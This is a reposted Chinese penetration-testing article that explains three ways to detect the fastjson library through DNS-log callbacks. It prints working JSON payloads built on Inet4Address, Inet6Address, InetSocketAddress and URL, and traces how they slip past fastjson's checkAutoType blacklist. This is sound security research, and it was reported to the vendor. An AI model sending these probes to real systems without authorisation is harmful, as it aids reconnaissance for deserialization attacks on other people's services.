转载

通过dnslog探测fastjson的几种方法

在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。

前天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。

https://github.com/alibaba/fastjson/issues/3077

通过dnslog探测fastjson的几种方法

0x02 方法一:利用java.net.Inet[4|6]Address

很早之前有一个方法是使用 java.net.InetAddress 类,但是这个在1.2.49就被禁止了。然而在昨天在翻阅fastjson最新版源码(v1.2.67)是发现两个类似的类没有被禁止。

  • java.net.Inet4Address
  • java.net.Inet6Address
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

我们知道在Fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现,由于Inet4Address.class不在黑名单中,所以就算开启autoType也是能过1处的检查。

Fastjson的ParserConfig类自己维护了一个IdentityHashMap,在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中获取到 Inet4Address.class ,所以clazz不为null,导致在3.处就返回了。跳过了后续的未开启autoType的黑名单检查。所以可以发现无论autoType都可以过 checkAutoType 的检查

//com.alibaba.fastjson.parser.ParserConfig#checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
...
Class clazz;

// 1.当打开了autoTypeSupport,类名又不在白名单时进行的黑名单检查
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
    hash = h3;

    for(mask = 3; mask < className.length(); ++mask) {
        hash ^= (long)className.charAt(mask);
        hash *= 1099511628211L;
        ....
        if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}


clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
    // 2. fastjson的ParserConfig类自己维护了一个IdentityHashMap在这个HashMap中的类会被认为是安全的,会直接被返回。
    clazz = this.deserializers.findClass(typeName);
}

if (clazz == null) {
    clazz = (Class)this.typeMapping.get(typeName);
}

if (internalWhite) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}

if (clazz != null) {
    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    } else {
        // 3. 直接返回,不再走下面的autoTypeSupport和黑名单检查
        return clazz;
    }
} else {
    // 4. 不开启autoType时,进行的黑名单检查
    if (!this.autoTypeSupport) {
        hash = h3;

        for(mask = 3; mask < className.length(); ++mask) {
            char c = className.charAt(mask);
            hash ^= (long)c;
            hash *= 1099511628211L;
            if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                throw new JSONException("autoType is not support. " + typeName);
            }
            ...
        }
    }
   ...
}

fastjason对于 Inet4Address 类会使用 MiscCodec 这个 ObjectDeserializer 来反序列化。我们跟进发现解析器会取出val字段的值复制给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。

//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        ...
        if (strVal != null && strVal.length() != 0) {
            if (clazz == UUID.class) {
                ...
            } else if (clazz == URI.class) {
                ...
            } else if (clazz == URL.class) {
                ...
            } else if (clazz == Pattern.class) {
                ...
            } else if (clazz == Locale.class) {
                ...
            } else if (clazz == SimpleDateFormat.class) {
                ...
            } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
                ...
            } else {
                try {
                    // 1. 将strVal作为主机名,获取其对应的ip,域名在此处被解析
                    return InetAddress.getByName(strVal);
                } catch (UnknownHostException var11) {
                    throw new JSONException("deserialize inet adress error", var11);
                }
            }
        } else {
            return null;
        }
}

0x03 方法二:利用java.net.InetSocketAddress

java.net.InetSocketAddress 类也在 IdentityHashMap 中,和上面一样无视 checkAutoType 检查。

通过它要走到 InetAddress.getByName() 流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的背影师傅交流时,才知道可以顺着解析器规则构造( 它要啥就给它啥 ),最终payload如下,当然它是畸形的json。

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

那这个是怎样构造出来的呢?需要你去简单了解下fastjson的词法解析器,这里就不展开了。这里尤为关键的是解析器token值对应的含义,可以在 com.alibaba.fastjson.parser.JSONToken 类中看到它们。

//com.alibaba.fastjson.parser.JSONToken
public class JSONToken {
    ...
    public static String name(int value) {
        switch(value) {
        case 1:
            return "error";
        case 2:
            return "int";
        case 3:
            return "float";
        case 4:
            return "string";
        case 5:
            return "iso8601";
        case 6:
            return "true";
        case 7:
            return "false";
        case 8:
            return "null";
        case 9:
            return "new";
        case 10:
            return "(";
        case 11:
            return ")";
        case 12:
            return "{";
        case 13:
            return "}";
        case 14:
            return "[";
        case 15:
            return "]";
        case 16:
            return ",";
        case 17:
            return ":";
        case 18:
            return "ident";
        case 19:
            return "fieldName";
        case 20:
            return "EOF";
        case 21:
            return "Set";
        case 22:
            return "TreeSet";
        case 23:
            return "undefined";
        case 24:
            return ";";
        case 25:
            return ".";
        case 26:
            return "hex";
        default:
            return "Unknown";
        }
    }
}

构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是 {"@type":"java.net.InetSocketAddress"{"address":

//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;
        String className;
        if (clazz == InetSocketAddress.class) {
            if (lexer.token() == 8) {
                lexer.nextToken();
                return null;
            } else {
                // 12 ---> {
                parser.accept(12);
                InetAddress address = null;
                int port = 0;

                while(true) {
                    className = lexer.stringVal();
                    
                    lexer.nextToken(17);
                    // 字段名需要为address
                    if (className.equals("address")) {
                        // 17 ---> :
                        parser.accept(17);
                        // 1. 我们需要构造让解析器走到这个流程
                        address = (InetAddress)parser.parseObject(InetAddress.class);
                    } 
                    ...
                }
            }
        } 
        ...
}

parser.parseObject(InetAddress.class) 最终依然会,调用MiscCodec#deserialze()方法来序列化,这里就来到我们构造payload的第二步。这一步的目标是要让解析器走到 InetAddress.getByName(strVal) 。解析器要接受的字符在代码里标好了,按照顺序写就是 ,"val":"http://dnslog"}

//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;
        String className;
        // 序列化的是InetAddress.class类,走else流程
        if (clazz == InetSocketAddress.class) {
            ...
        } else {
            Object objVal;
            if (parser.resolveStatus == 2) {
                parser.resolveStatus = 0;
                // 16 ---> ,
                parser.accept(16);
                if (lexer.token() != 4) {
                    throw new JSONException("syntax error");
                }
                // 字段名 ---> val
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }

                lexer.nextToken();
                // 17 ---> :
                parser.accept(17);
                // 之后解析为对象,也就是val字段对应的值
                objVal = parser.parse();
                // 13 ---> }
                parser.accept(13);
            } 
            ....
           // 后续的流程和方法一一样了,进行类型判断
           strVal = (String)objVal;
           if (strVal != null && strVal.length() != 0) {
            if (clazz == UUID.class) {
                ...
            } else if (clazz == URI.class) {
                ...
            } else if (clazz == URL.class) {
                ...
            } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
                ...
            } else {
                try {
                // 域名解析
                    return InetAddress.getByName(strVal);
                } catch (UnknownHostException var11) {
                    throw new JSONException("deserialize inet adress error", var11);
                }
            }
        } 
}

两段合起来即可得到了最终payload

0x04 方法三:利用java.net.URL

java.net.URL 类也在 IdentityHashMap 中,和上面一样无视 checkAutoType 检查。

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

这是基于 @retanoj@threedr3am 两位师傅的启发构造的,其原理和ysoserial中的 URLDNS 这个gadget原理一样。

简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode期间会调用getHostAddress方法获取host,这个过程域名会被解析。

通过dnslog探测fastjson的几种方法

fastjson会将内成序列化为URL对象,然后开始解析{URL( http://dnslog):"x"},会被解析为HashMap。

原文  http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
正文到此结束
Loading...